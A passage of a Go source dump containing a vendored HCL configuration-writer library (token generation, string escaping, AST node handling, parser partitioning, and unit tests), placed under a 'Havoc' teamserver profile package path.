appendTokensForTraversalStep(step, toks) } return toks } func appendTokensForTraversalStep(step hcl.Traverser, toks Tokens) Tokens { switch ts := step.(type) { case hcl.TraverseRoot: toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(ts.Name), }) case hcl.TraverseAttr: toks = append( toks, &Token{ Type: hclsyntax.TokenDot, Bytes: []byte{'.'}, }, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(ts.Name), }, ) case hcl.TraverseIndex: toks = append(toks, &Token{ Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}, }) toks = appendTokensForValue(ts.Key, toks) toks = append(toks, &Token{ Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}, }) default: panic(fmt.Sprintf("unsupported traversal step type %T", step)) } return toks } func escapeQuotedStringLit(s string) []byte { if len(s) == 0 { return nil } buf := make([]byte, 0, len(s)) for i, r := range s { switch r { case '\n': buf = append(buf, '\\', 'n') case '\r': buf = append(buf, '\\', 'r') case '\t': buf = append(buf, '\\', 't') case '"': buf = append(buf, '\\', '"') case '\\': buf = append(buf, '\\', '\\') case '$', '%': buf = appendRune(buf, r) remain := s[i+1:] if len(remain) > 0 && remain[0] == '{' { // Double up our template introducer symbol to escape it. buf = appendRune(buf, r) } default: if !unicode.IsPrint(r) { var fmted string if r < 65536 { fmted = fmt.Sprintf("\\u%04x", r) } else { fmted = fmt.Sprintf("\\U%08x", r) } buf = append(buf, fmted...) } else { buf = appendRune(buf, r) } } } return buf } func appendRune(b []byte, r rune) []byte { l := utf8.RuneLen(r) for i := 0; i < l; i++ { b = append(b, 0) // make room at the end of our buffer } ch := b[len(b)-l:] utf8.EncodeRune(ch, r) return b } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/generate_test.go ================================================ package hclwrite import ( "bytes" "math/big" "testing" "github.com/google/go-cmp/cmp" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestTokensForValue(t *testing.T) { tests := []struct { Val cty.Value Want Tokens }{ { cty.NullVal(cty.DynamicPseudoType), Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`null`), }, }, }, { cty.True, Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), }, }, }, { cty.False, Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`false`), }, }, }, { cty.NumberIntVal(0), Tokens{ { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0`), }, }, }, { cty.NumberFloatVal(0.5), Tokens{ { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0.5`), }, }, }, { cty.NumberVal(big.NewFloat(0).SetPrec(512).Mul(big.NewFloat(40000000), big.NewFloat(2000000))), Tokens{ { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`80000000000000`), }, }, }, { cty.StringVal(""), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("foo"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`foo`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal(`"foo"`), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`\"foo\"`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("hello\nworld\n"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`hello\nworld\n`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("hello\r\nworld\r\n"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`hello\r\nworld\r\n`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal(`what\what`), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`what\\what`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("𝄞"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte("𝄞"), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("👩🏾"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`👩🏾`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.EmptyTupleVal, Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.TupleVal([]cty.Value{cty.EmptyTupleVal}), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.ListValEmpty(cty.String), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.SetValEmpty(cty.Bool), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.TupleVal([]cty.Value{cty.True}), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.TupleVal([]cty.Value{cty.True, cty.NumberIntVal(0)}), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), }, { Type: hclsyntax.TokenComma, Bytes: []byte(`,`), }, { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0`), SpacesBefore: 1, }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.EmptyObjectVal, Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.MapValEmpty(cty.Bool), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.ObjectVal(map[string]cty.Value{ "foo": cty.True, }), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`foo`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.ObjectVal(map[string]cty.Value{ "foo": cty.True, "bar": cty.NumberIntVal(0), }), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`bar`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`foo`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.ObjectVal(map[string]cty.Value{ "foo bar": cty.True, }), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 2, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`foo bar`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, } for _, test := range tests { t.Run(test.Val.GoString(), func(t *testing.T) { got := TokensForValue(test.Val) if !cmp.Equal(got, test.Want) { diff := cmp.Diff(got, test.Want, cmp.Comparer(func(a, b []byte) bool { return bytes.Equal(a, b) })) var gotBuf, wantBuf bytes.Buffer got.WriteTo(&gotBuf) test.Want.WriteTo(&wantBuf) t.Errorf( "wrong result\nvalue: %#v\ngot: %s\nwant: %s\ndiff: %s", test.Val, gotBuf.String(), wantBuf.String(), diff, ) } }) } } func TestTokensForTraversal(t *testing.T) { tests := []struct { Val hcl.Traversal Want Tokens }{ { hcl.Traversal{ hcl.TraverseRoot{Name: "root"}, hcl.TraverseAttr{Name: "attr"}, hcl.TraverseIndex{Key: cty.StringVal("index")}, }, Tokens{ {Type: hclsyntax.TokenIdent, Bytes: []byte("root")}, {Type: hclsyntax.TokenDot, Bytes: []byte(".")}, {Type: hclsyntax.TokenIdent, Bytes: []byte("attr")}, {Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}}, {Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`)}, {Type: hclsyntax.TokenQuotedLit, Bytes: []byte("index")}, {Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`)}, {Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}}, }, }, } for _, test := range tests { got := TokensForTraversal(test.Val) if !cmp.Equal(got, test.Want) { diff := cmp.Diff(got, test.Want, cmp.Comparer(func(a, b []byte) bool { return bytes.Equal(a, b) })) var gotBuf, wantBuf bytes.Buffer got.WriteTo(&gotBuf) test.Want.WriteTo(&wantBuf) t.Errorf( "wrong result\nvalue: %#v\ngot: %s\nwant: %s\ndiff: %s", test.Val, gotBuf.String(), wantBuf.String(), diff, ) } } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/native_node_sorter.go ================================================ package hclwrite import ( "Havoc/pkg/profile/yaotl/hclsyntax" ) type nativeNodeSorter struct { Nodes []hclsyntax.Node } func (s nativeNodeSorter) Len() int { return len(s.Nodes) } func (s nativeNodeSorter) Less(i, j int) bool { rangeI := s.Nodes[i].Range() rangeJ := s.Nodes[j].Range() return rangeI.Start.Byte < rangeJ.Start.Byte } func (s nativeNodeSorter) Swap(i, j int) { s.Nodes[i], s.Nodes[j] = s.Nodes[j], s.Nodes[i] } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/node.go ================================================ package hclwrite import ( "fmt" "github.com/google/go-cmp/cmp" ) // node represents a node in the AST. type node struct { content nodeContent list *nodes before, after *node } func newNode(c nodeContent) *node { return &node{ content: c, } } func (n *node) Equal(other *node) bool { return cmp.Equal(n.content, other.content) } func (n *node) BuildTokens(to Tokens) Tokens { return n.content.BuildTokens(to) } // Detach removes the receiver from the list it currently belongs to. If the // node is not currently in a list, this is a no-op. func (n *node) Detach() { if n.list == nil { return } if n.before != nil { n.before.after = n.after } if n.after != nil { n.after.before = n.before } if n.list.first == n { n.list.first = n.after } if n.list.last == n { n.list.last = n.before } n.list = nil n.before = nil n.after = nil } // ReplaceWith removes the receiver from the list it currently belongs to and // inserts a new node with the given content in its place. If the node is not // currently in a list, this function will panic. // // The return value is the newly-constructed node, containing the given content. // After this function returns, the receiver is no longer attached to a list. func (n *node) ReplaceWith(c nodeContent) *node { if n.list == nil { panic("can't replace node that is not in a list") } before := n.before after := n.after list := n.list n.before, n.after, n.list = nil, nil, nil nn := newNode(c) nn.before = before nn.after = after nn.list = list if before != nil { before.after = nn } if after != nil { after.before = nn } return nn } func (n *node) assertUnattached() { if n.list != nil { panic(fmt.Sprintf("attempt to attach already-attached node %#v", n)) } } // nodeContent is the interface type implemented by all AST content types. type nodeContent interface { walkChildNodes(w internalWalkFunc) BuildTokens(to Tokens) Tokens } // nodes is a list of nodes. type nodes struct { first, last *node } func (ns *nodes) BuildTokens(to Tokens) Tokens { for n := ns.first; n != nil; n = n.after { to = n.BuildTokens(to) } return to } func (ns *nodes) Clear() { ns.first = nil ns.last = nil } func (ns *nodes) Append(c nodeContent) *node { n := &node{ content: c, } ns.AppendNode(n) n.list = ns return n } func (ns *nodes) AppendNode(n *node) { if ns.last != nil { n.before = ns.last ns.last.after = n } n.list = ns ns.last = n if ns.first == nil { ns.first = n } } // Insert inserts a nodeContent at a given position. // This is just a wrapper for InsertNode. See InsertNode for details. func (ns *nodes) Insert(pos *node, c nodeContent) *node { n := &node{ content: c, } ns.InsertNode(pos, n) n.list = ns return n } // InsertNode inserts a node at a given position. // The first argument is a node reference before which to insert. // To insert it to an empty list, set position to nil. func (ns *nodes) InsertNode(pos *node, n *node) { if pos == nil { // inserts n to empty list. ns.first = n ns.last = n } else { // inserts n before pos. pos.before.after = n n.before = pos.before pos.before = n n.after = pos } n.list = ns } func (ns *nodes) AppendUnstructuredTokens(tokens Tokens) *node { if len(tokens) == 0 { return nil } n := newNode(tokens) ns.AppendNode(n) n.list = ns return n } // FindNodeWithContent searches the nodes for a node whose content equals // the given content. If it finds one then it returns it. Otherwise it returns // nil. func (ns *nodes) FindNodeWithContent(content nodeContent) *node { for n := ns.first; n != nil; n = n.after { if n.content == content { return n } } return nil } // nodeSet is an unordered set of nodes. It is used to describe a set of nodes // that all belong to the same list that have some role or characteristic // in common. type nodeSet map[*node]struct{} func newNodeSet() nodeSet { return make(nodeSet) } func (ns nodeSet) Has(n *node) bool { if ns == nil { return false } _, exists := ns[n] return exists } func (ns nodeSet) Add(n *node) { ns[n] = struct{}{} } func (ns nodeSet) Remove(n *node) { delete(ns, n) } func (ns nodeSet) Clear() { for n := range ns { delete(ns, n) } } func (ns nodeSet) List() []*node { if len(ns) == 0 { return nil } ret := make([]*node, 0, len(ns)) // Determine which list we are working with. We assume here that all of // the nodes belong to the same list, since that is part of the contract // for nodeSet. var list *nodes for n := range ns { list = n.list break } // We recover the order by iterating over the whole list. This is not // the most efficient way to do it, but our node lists should always be // small so not worth making things more complex. for n := list.first; n != nil; n = n.after { if ns.Has(n) { ret = append(ret, n) } } return ret } // FindNodeWithContent searches the nodes for a node whose content equals // the given content. If it finds one then it returns it. Otherwise it returns // nil. func (ns nodeSet) FindNodeWithContent(content nodeContent) *node { for n := range ns { if n.content == content { return n } } return nil } type internalWalkFunc func(*node) // inTree can be embedded into a content struct that has child nodes to get // a standard implementation of the NodeContent interface and a record of // a potential parent node. type inTree struct { parent *node children *nodes } func newInTree() inTree { return inTree{ children: &nodes{}, } } func (it *inTree) assertUnattached() { if it.parent != nil { panic(fmt.Sprintf("node is already attached to %T", it.parent.content)) } } func (it *inTree) walkChildNodes(w internalWalkFunc) { for n := it.children.first; n != nil; n = n.after { w(n) } } func (it *inTree) BuildTokens(to Tokens) Tokens { for n := it.children.first; n != nil; n = n.after { to = n.BuildTokens(to) } return to } // leafNode can be embedded into a content struct to give it a do-nothing // implementation of walkChildNodes type leafNode struct { } func (n *leafNode) walkChildNodes(w internalWalkFunc) { } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/parser.go ================================================ package hclwrite import ( "fmt" "sort" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) // Our "parser" here is actually not doing any parsing of its own. Instead, // it leans on the native parser in hclsyntax, and then uses the source ranges // from the AST to partition the raw token sequence to match the raw tokens // up to AST nodes. // // This strategy feels somewhat counter-intuitive, since most of the work the // parser does is thrown away here, but this strategy is chosen because the // normal parsing work done by hclsyntax is considered to be the "main case", // while modifying and re-printing source is more of an edge case, used only // in ancillary tools, and so it's good to keep all the main parsing logic // with the main case but keep all of the extra complexity of token wrangling // out of the main parser, which is already rather complex just serving the // use-cases it already serves. // // If the parsing step produces any errors, the returned File is nil because // we can't reliably extract tokens from the partial AST produced by an // erroneous parse. func parse(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) { file, diags := hclsyntax.ParseConfig(src, filename, start) if diags.HasErrors() { return nil, diags } // To do our work here, we use the "native" tokens (those from hclsyntax) // to match against source ranges in the AST, but ultimately produce // slices from our sequence of "writer" tokens, which contain only // *relative* position information that is more appropriate for // transformation/writing use-cases. nativeTokens, diags := hclsyntax.LexConfig(src, filename, start) if diags.HasErrors() { // should never happen, since we would've caught these diags in // the first call above. return nil, diags } writerTokens := writerTokens(nativeTokens) from := inputTokens{ nativeTokens: nativeTokens, writerTokens: writerTokens, } before, root, after := parseBody(file.Body.(*hclsyntax.Body), from) ret := &File{ inTree: newInTree(), srcBytes: src, body: root, } nodes := ret.inTree.children nodes.Append(before.Tokens()) nodes.AppendNode(root) nodes.Append(after.Tokens()) return ret, diags } type inputTokens struct { nativeTokens hclsyntax.Tokens writerTokens Tokens } func (it inputTokens) Partition(rng hcl.Range) (before, within, after inputTokens) { start, end := partitionTokens(it.nativeTokens, rng) before = it.Slice(0, start) within = it.Slice(start, end) after = it.Slice(end, len(it.nativeTokens)) return } func (it inputTokens) PartitionType(ty hclsyntax.TokenType) (before, within, after inputTokens) { for i, t := range it.writerTokens { if t.Type == ty { return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)) } } panic(fmt.Sprintf("didn't find any token of type %s", ty)) } func (it inputTokens) PartitionTypeOk(ty hclsyntax.TokenType) (before, within, after inputTokens, ok bool) { for i, t := range it.writerTokens { if t.Type == ty { return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)), true } } return inputTokens{}, inputTokens{}, inputTokens{}, false } func (it inputTokens) PartitionTypeSingle(ty hclsyntax.TokenType) (before inputTokens, found *Token, after inputTokens) { before, within, after := it.PartitionType(ty) if within.Len() != 1 { panic("PartitionType found more than one token") } return before, within.Tokens()[0], after } // PartitionIncludeComments is like Partition except the returned "within" // range includes any lead and line comments associated with the range. func (it inputTokens) PartitionIncludingComments(rng hcl.Range) (before, within, after inputTokens) { start, end := partitionTokens(it.nativeTokens, rng) start = partitionLeadCommentTokens(it.nativeTokens[:start]) _, afterNewline := partitionLineEndTokens(it.nativeTokens[end:]) end += afterNewline before = it.Slice(0, start) within = it.Slice(start, end) after = it.Slice(end, len(it.nativeTokens)) return } // PartitionBlockItem is similar to PartitionIncludeComments but it returns // the comments as separate token sequences so that they can be captured into // AST attributes. It makes assumptions that apply only to block items, so // should not be used for other constructs. func (it inputTokens) PartitionBlockItem(rng hcl.Range) (before, leadComments, within, lineComments, newline, after inputTokens) { before, within, after = it.Partition(rng) before, leadComments = before.PartitionLeadComments() lineComments, newline, after = after.PartitionLineEndTokens() return } func (it inputTokens) PartitionLeadComments() (before, within inputTokens) { start := partitionLeadCommentTokens(it.nativeTokens) before = it.Slice(0, start) within = it.Slice(start, len(it.nativeTokens)) return } func (it inputTokens) PartitionLineEndTokens() (comments, newline, after inputTokens) { afterComments, afterNewline := partitionLineEndTokens(it.nativeTokens) comments = it.Slice(0, afterComments) newline = it.Slice(afterComments, afterNewline) after = it.Slice(afterNewline, len(it.nativeTokens)) return } func (it inputTokens) Slice(start, end int) inputTokens { // When we slice, we create a new slice with no additional capacity because // we expect that these slices will be mutated in order to insert // new code into the AST, and we want to ensure that a new underlying // array gets allocated in that case, rather than writing into some // following slice and corrupting it. return inputTokens{ nativeTokens: it.nativeTokens[start:end:end], writerTokens: it.writerTokens[start:end:end], } } func (it inputTokens) Len() int { return len(it.nativeTokens) } func (it inputTokens) Tokens() Tokens { return it.writerTokens } func (it inputTokens) Types() []hclsyntax.TokenType { ret := make([]hclsyntax.TokenType, len(it.nativeTokens)) for i, tok := range it.nativeTokens { ret[i] = tok.Type } return ret } // parseBody locates the given body within the given input tokens and returns // the resulting *Body object as well as the tokens that appeared before and // after it. func parseBody(nativeBody *hclsyntax.Body, from inputTokens) (inputTokens, *node, inputTokens) { before, within, after := from.PartitionIncludingComments(nativeBody.SrcRange) // The main AST doesn't retain the original source ordering of the // body items, so we need to reconstruct that ordering by inspecting // their source ranges. nativeItems := make([]hclsyntax.Node, 0, len(nativeBody.Attributes)+len(nativeBody.Blocks)) for _, nativeAttr := range nativeBody.Attributes { nativeItems = append(nativeItems, nativeAttr) } for _, nativeBlock := range nativeBody.Blocks { nativeItems = append(nativeItems, nativeBlock) } sort.Sort(nativeNodeSorter{nativeItems}) body := &Body{ inTree: newInTree(), items: newNodeSet(), } remain := within for _, nativeItem := range nativeItems { beforeItem, item, afterItem := parseBodyItem(nativeItem, remain) if beforeItem.Len() > 0 { body.AppendUnstructuredTokens(beforeItem.Tokens()) } body.appendItemNode(item) remain = afterItem } if remain.Len() > 0 { body.AppendUnstructuredTokens(remain.Tokens()) } return before, newNode(body), after } func parseBodyItem(nativeItem hclsyntax.Node, from inputTokens) (inputTokens, *node, inputTokens) { before, leadComments, within, lineComments, newline, after := from.PartitionBlockItem(nativeItem.Range()) var item *node switch tItem := nativeItem.(type) { case *hclsyntax.Attribute: item = parseAttribute(tItem, within, leadComments, lineComments, newline) case *hclsyntax.Block: item = parseBlock(tItem, within, leadComments, lineComments, newline) default: // should never happen if caller is behaving panic("unsupported native item type") } return before, item, after } func parseAttribute(nativeAttr *hclsyntax.Attribute, from, leadComments, lineComments, newline inputTokens) *node { attr := &Attribute{ inTree: newInTree(), } children := attr.inTree.children { cn := newNode(newComments(leadComments.Tokens())) attr.leadComments = cn children.AppendNode(cn) } before, nameTokens, from := from.Partition(nativeAttr.NameRange) { children.AppendUnstructuredTokens(before.Tokens()) if nameTokens.Len() != 1 { // Should never happen with valid input panic("attribute name is not exactly one token") } token := nameTokens.Tokens()[0] in := newNode(newIdentifier(token)) attr.name = in children.AppendNode(in) } before, equalsTokens, from := from.Partition(nativeAttr.EqualsRange) children.AppendUnstructuredTokens(before.Tokens()) children.AppendUnstructuredTokens(equalsTokens.Tokens()) before, exprTokens, from := from.Partition(nativeAttr.Expr.Range()) { children.AppendUnstructuredTokens(before.Tokens()) exprNode := parseExpression(nativeAttr.Expr, exprTokens) attr.expr = exprNode children.AppendNode(exprNode) } { cn := newNode(newComments(lineComments.Tokens())) attr.lineComments = cn children.AppendNode(cn) } children.AppendUnstructuredTokens(newline.Tokens()) // Collect any stragglers, though there shouldn't be any children.AppendUnstructuredTokens(from.Tokens()) return newNode(attr) } func parseBlock(nativeBlock *hclsyntax.Block, from, leadComments, lineComments, newline inputTokens) *node { block := &Block{ inTree: newInTree(), } children := block.inTree.children { cn := newNode(newComments(leadComments.Tokens())) block.leadComments = cn children.AppendNode(cn) } before, typeTokens, from := from.Partition(nativeBlock.TypeRange) { children.AppendUnstructuredTokens(before.Tokens()) if typeTokens.Len() != 1 { // Should never happen with valid input panic("block type name is not exactly one token") } token := typeTokens.Tokens()[0] in := newNode(newIdentifier(token)) block.typeName = in children.AppendNode(in) } before, labelsNode, from := parseBlockLabels(nativeBlock, from) block.labels = labelsNode children.AppendNode(labelsNode) before, oBrace, from := from.Partition(nativeBlock.OpenBraceRange) children.AppendUnstructuredTokens(before.Tokens()) block.open = children.AppendUnstructuredTokens(oBrace.Tokens()) // We go a bit out of order here: we go hunting for the closing brace // so that we have a delimited body, but then we'll deal with the body // before we actually append the closing brace and any straggling tokens // that appear after it. bodyTokens, cBrace, from := from.Partition(nativeBlock.CloseBraceRange) before, body, after := parseBody(nativeBlock.Body, bodyTokens) children.AppendUnstructuredTokens(before.Tokens()) block.body = body children.AppendNode(body) children.AppendUnstructuredTokens(after.Tokens()) block.close = children.AppendUnstructuredTokens(cBrace.Tokens()) // stragglers children.AppendUnstructuredTokens(from.Tokens()) if lineComments.Len() > 0 { // blocks don't actually have line comments, so we'll just treat // them as extra stragglers children.AppendUnstructuredTokens(lineComments.Tokens()) } children.AppendUnstructuredTokens(newline.Tokens()) return newNode(block) } func parseBlockLabels(nativeBlock *hclsyntax.Block, from inputTokens) (inputTokens, *node, inputTokens) { labelsObj := newBlockLabels(nil) children := labelsObj.children var beforeAll inputTokens for i, rng := range nativeBlock.LabelRanges { var before, labelTokens inputTokens before, labelTokens, from = from.Partition(rng) if i == 0 { beforeAll = before } else { children.AppendUnstructuredTokens(before.Tokens()) } tokens := labelTokens.Tokens() var ln *node if len(tokens) == 1 && tokens[0].Type == hclsyntax.TokenIdent { ln = newNode(newIdentifier(tokens[0])) } else { ln = newNode(newQuoted(tokens)) } labelsObj.items.Add(ln) children.AppendNode(ln) } after := from return beforeAll, newNode(labelsObj), after } func parseExpression(nativeExpr hclsyntax.Expression, from inputTokens) *node { expr := newExpression() children := expr.inTree.children nativeVars := nativeExpr.Variables() for _, nativeTraversal := range nativeVars { before, traversal, after := parseTraversal(nativeTraversal, from) children.AppendUnstructuredTokens(before.Tokens()) children.AppendNode(traversal) expr.absTraversals.Add(traversal) from = after } // Attach any stragglers that don't belong to a traversal to the expression // itself. In an expression with no traversals at all, this is just the // entirety of "from". children.AppendUnstructuredTokens(from.Tokens()) return newNode(expr) } func parseTraversal(nativeTraversal hcl.Traversal, from inputTokens) (before inputTokens, n *node, after inputTokens) { traversal := newTraversal() children := traversal.inTree.children before, from, after = from.Partition(nativeTraversal.SourceRange()) stepAfter := from for _, nativeStep := range nativeTraversal { before, step, after := parseTraversalStep(nativeStep, stepAfter) children.AppendUnstructuredTokens(before.Tokens()) children.AppendNode(step) traversal.steps.Add(step) stepAfter = after } return before, newNode(traversal), after } func parseTraversalStep(nativeStep hcl.Traverser, from inputTokens) (before inputTokens, n *node, after inputTokens) { var children *nodes switch tNativeStep := nativeStep.(type) { case hcl.TraverseRoot, hcl.TraverseAttr: step := newTraverseName() children = step.inTree.children before, from, after = from.Partition(nativeStep.SourceRange()) inBefore, token, inAfter := from.PartitionTypeSingle(hclsyntax.TokenIdent) name := newIdentifier(token) children.AppendUnstructuredTokens(inBefore.Tokens()) step.name = children.Append(name) children.AppendUnstructuredTokens(inAfter.Tokens()) return before, newNode(step), after case hcl.TraverseIndex: step := newTraverseIndex() children = step.inTree.children before, from, after = from.Partition(nativeStep.SourceRange()) if inBefore, dot, from, ok := from.PartitionTypeOk(hclsyntax.TokenDot); ok { children.AppendUnstructuredTokens(inBefore.Tokens()) children.AppendUnstructuredTokens(dot.Tokens()) valBefore, valToken, valAfter := from.PartitionTypeSingle(hclsyntax.TokenNumberLit) children.AppendUnstructuredTokens(valBefore.Tokens()) key := newNumber(valToken) step.key = children.Append(key) children.AppendUnstructuredTokens(valAfter.Tokens()) return before, newNode(step), after } var inBefore, oBrack, keyTokens, cBrack inputTokens inBefore, oBrack, from = from.PartitionType(hclsyntax.TokenOBrack) children.AppendUnstructuredTokens(inBefore.Tokens()) children.AppendUnstructuredTokens(oBrack.Tokens()) keyTokens, cBrack, from = from.PartitionType(hclsyntax.TokenCBrack) keyVal := tNativeStep.Key switch keyVal.Type() { case cty.String: key := newQuoted(keyTokens.Tokens()) step.key = children.Append(key) case cty.Number: valBefore, valToken, valAfter := keyTokens.PartitionTypeSingle(hclsyntax.TokenNumberLit) children.AppendUnstructuredTokens(valBefore.Tokens()) key := newNumber(valToken) step.key = children.Append(key) children.AppendUnstructuredTokens(valAfter.Tokens()) } children.AppendUnstructuredTokens(cBrack.Tokens()) children.AppendUnstructuredTokens(from.Tokens()) return before, newNode(step), after default: panic(fmt.Sprintf("unsupported traversal step type %T", nativeStep)) } } // writerTokens takes a sequence of tokens as produced by the main hclsyntax // package and transforms it into an equivalent sequence of tokens using // this package's own token model. // // The resulting list contains the same number of tokens and uses the same // indices as the input, allowing the two sets of tokens to be correlated // by index. func writerTokens(nativeTokens hclsyntax.Tokens) Tokens { // Ultimately we want a slice of token _pointers_, but since we can // predict how much memory we're going to devote to tokens we'll allocate // it all as a single flat buffer and thus give the GC less work to do. tokBuf := make([]Token, len(nativeTokens)) var lastByteOffset int for i, mainToken := range nativeTokens { // Create a copy of the bytes so that we can mutate without // corrupting the original token stream. bytes := make([]byte, len(mainToken.Bytes)) copy(bytes, mainToken.Bytes) tokBuf[i] = Token{ Type: mainToken.Type, Bytes: bytes, // We assume here that spaces are always ASCII spaces, since // that's what the scanner also assumes, and thus the number // of bytes skipped is also the number of space characters. SpacesBefore: mainToken.Range.Start.Byte - lastByteOffset, } lastByteOffset = mainToken.Range.End.Byte } // Now make a slice of pointers into the previous slice. ret := make(Tokens, len(tokBuf)) for i := range ret { ret[i] = &tokBuf[i] } return ret } // partitionTokens takes a sequence of tokens and a hcl.Range and returns // two indices within the token sequence that correspond with the range // boundaries, such that the slice operator could be used to produce // three token sequences for before, within, and after respectively: // // start, end := partitionTokens(toks, rng) // before := toks[:start] // within := toks[start:end] // after := toks[end:] // // This works best when the range is aligned with token boundaries 